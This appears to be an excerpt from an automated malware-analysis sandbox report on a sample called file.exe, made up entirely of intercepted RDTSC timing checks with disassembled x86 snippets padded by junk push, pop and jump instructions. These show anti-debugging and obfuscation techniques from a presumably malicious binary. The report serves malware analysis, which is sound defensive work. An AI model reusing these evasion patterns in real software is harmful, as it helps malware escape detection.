Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06243 second address: D06253 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15B4B26162h 0x00000008 je 00007F15B4B26156h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06253 second address: D0628C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F15B4F0F8DDh 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edi 0x00000013 push esi 0x00000014 jmp 00007F15B4F0F8E6h 0x00000019 jp 00007F15B4F0F8D6h 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0628C second address: D06291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06291 second address: D06297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06297 second address: D062A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F15B4B26156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D060DB second address: D060ED instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15B4F0F8D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D060ED second address: D060F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2694A second address: D2694E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2694E second address: D2696A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26162h 0x00000007 jno 00007F15B4B26156h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2696A second address: D26984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E4h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26984 second address: D2699A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29F92 second address: D29FA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29FA9 second address: D29FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29FB8 second address: D29FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41025 second address: D4102E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41413 second address: D4143A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F15B4F0F8E9h 0x0000000e push edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D416D1 second address: D41716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F15B4B26156h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jmp 00007F15B4B26169h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jc 00007F15B4B26156h 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 pop eax 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 jmp 00007F15B4B2615Dh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41716 second address: D4171B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4171B second address: D41726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41726 second address: D4172A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41851 second address: D41857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41857 second address: D4185C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4185C second address: D4186F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jnc 00007F15B4B26156h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D419AF second address: D419BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D419BA second address: D419C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F15B4B26156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D435D9 second address: D435DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D435DD second address: D43600 instructions: 0x00000000 rdtsc 0x00000002 js 00007F15B4B26156h 0x00000008 jmp 00007F15B4B26169h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46197 second address: D4619B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4619B second address: D461A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D461A4 second address: D461B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D461B4 second address: D461B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46238 second address: D46241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46241 second address: D46245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46245 second address: D46249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46249 second address: D4625A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F15B4B26156h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4625A second address: D4625E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4625E second address: D46269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46269 second address: D4628C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D28F8h], eax 0x0000000d push 00000004h 0x0000000f add dword ptr [ebp+122D28C1h], eax 0x00000015 push 41DBD22Eh 0x0000001a push edx 0x0000001b jbe 00007F15B4F0F8DCh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4656A second address: D46570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46570 second address: D46575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46575 second address: D4659D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4B26166h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F15B4B26158h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4659D second address: D465B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D465B4 second address: D465D8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ecx 0x00000011 jmp 00007F15B4B2615Bh 0x00000016 pop ecx 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D465D8 second address: D465DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47AF3 second address: D47B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26161h 0x00000007 pushad 0x00000008 ja 00007F15B4B26156h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B17 second address: D47B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47B1B second address: D47B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4B2615Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 jnp 00007F15B4B26156h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A006C second address: 54A0091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15B4F0F8DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0091 second address: 54A00B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bh, A4h 0x00000010 push ecx 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A00B0 second address: 54A00F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5733CE82h 0x00000008 call 00007F15B4F0F8E3h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F15B4F0F8E0h 0x0000001a call 00007F15B4F0F8E2h 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D11 second address: 5480D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D15 second address: 5480D1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D1B second address: 5480D7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15B4B26160h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 mov dx, 6732h 0x00000016 pushfd 0x00000017 jmp 00007F15B4B26163h 0x0000001c and cx, 492Eh 0x00000021 jmp 00007F15B4B26169h 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a mov ax, 4E8Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480D7B second address: 5480DD3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B4F0F8DAh 0x00000008 adc cx, 2EA8h 0x0000000d jmp 00007F15B4F0F8DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F15B4F0F8E6h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F15B4F0F8DDh 0x00000027 jmp 00007F15B4F0F8DBh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F52 second address: 54C0F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F58 second address: 54C0F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F5C second address: 54C0F93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F15B4B26165h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F93 second address: 54C0FDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 94B2h 0x00000007 pushfd 0x00000008 jmp 00007F15B4F0F8E3h 0x0000000d add ah, FFFFFFAEh 0x00000010 jmp 00007F15B4F0F8E9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c movzx esi, di 0x0000001f mov cl, dh 0x00000021 popad 0x00000022 pop ebp 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546023B second address: 5460275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c jmp 00007F15B4B26165h 0x00000011 push dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, dx 0x0000001a jmp 00007F15B4B2615Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460275 second address: 546029D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 85h 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B4F0F8E9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809A0 second address: 54809B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809B8 second address: 5480A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15B4F0F8E1h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F15B4F0F8DAh 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movzx ecx, di 0x00000019 pushfd 0x0000001a jmp 00007F15B4F0F8E9h 0x0000001f sbb eax, 54B451C6h 0x00000025 jmp 00007F15B4F0F8E1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A15 second address: 5480A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B4B26167h 0x00000009 jmp 00007F15B4B26163h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A46 second address: 5480AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 jmp 00007F15B4F0F8E2h 0x0000000e pushfd 0x0000000f jmp 00007F15B4F0F8E2h 0x00000014 sbb esi, 71359F28h 0x0000001a jmp 00007F15B4F0F8DBh 0x0000001f popfd 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007F15B4F0F8E6h 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480AA5 second address: 5480AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805E3 second address: 54805E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805E7 second address: 54805EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805EB second address: 54805F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804F1 second address: 5480503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B2615Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480503 second address: 5480526 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F15B4F0F8DBh 0x00000014 mov ch, B9h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480267 second address: 54802BE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B4B26161h 0x00000008 adc ah, 00000066h 0x0000000b jmp 00007F15B4B26161h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F15B4B2615Eh 0x00000019 mov dl, ch 0x0000001b popad 0x0000001c popad 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F15B4B26164h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802BE second address: 54802C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802C4 second address: 54802D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B2615Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54802D5 second address: 54802D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E75 second address: 54C0E8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E8C second address: 54C0E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E92 second address: 54C0E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E96 second address: 54C0F04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov esi, 5139815Bh 0x00000012 mov cx, D837h 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F15B4F0F8E3h 0x0000001f sbb si, 39BEh 0x00000024 jmp 00007F15B4F0F8E9h 0x00000029 popfd 0x0000002a mov edx, eax 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F15B4F0F8E4h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F04 second address: 54C0F13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F13 second address: 54C0F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A03E2 second address: 54A03F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B26163h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A03F9 second address: 54A03FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A03FD second address: 54A044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15B4B26164h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov cl, 3Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F15B4B26169h 0x0000001a and al, FFFFFFE6h 0x0000001d jmp 00007F15B4B26161h 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A044F second address: 54A0461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 5E25939Ch 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0461 second address: 54A0467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0467 second address: 54A0487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B4F0F8E1h 0x00000014 rdtsc
